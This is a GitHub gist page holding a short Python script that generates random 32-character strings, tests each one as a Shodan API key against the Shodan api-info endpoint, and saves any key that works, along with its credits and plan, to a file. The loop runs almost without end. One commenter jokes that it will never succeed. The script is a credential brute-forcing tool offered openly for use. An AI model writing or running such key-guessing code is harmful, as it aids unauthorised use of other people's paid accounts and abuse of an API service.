Created
September 16, 2022 13:06
-
-
Save JoyGhoshs/14d98c18047413a4a72b8bdbcebe8143 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import random | |
import json | |
import time | |
def key_generator(): | |
key = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' | |
return ''.join(random.choice(key) for i in range(32)) | |
def key_vaildator(key): | |
try: | |
api = "https://api.shodan.io/api-info?key="+key | |
r = requests.get(api) | |
data = json.loads(r.text) | |
if data['unlocked'] == True: | |
print("Valid Key: "+key) | |
print("Credits: ",data['query_credits']) | |
print("Plan: ",data['plan']) | |
save = open("valid.txt","a") | |
save.write(key+"\n") | |
save.close() | |
else: | |
print("Invalid Key: "+key) | |
print(r.text) | |
except: | |
print("Invalid Key: "+key) | |
for i in range (2272657884496751345355241563627544170162852933518655225856): | |
key = key_generator() | |
key_vaildator(key) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I think I'll win in a lottery sooner than the script finds a valid key :)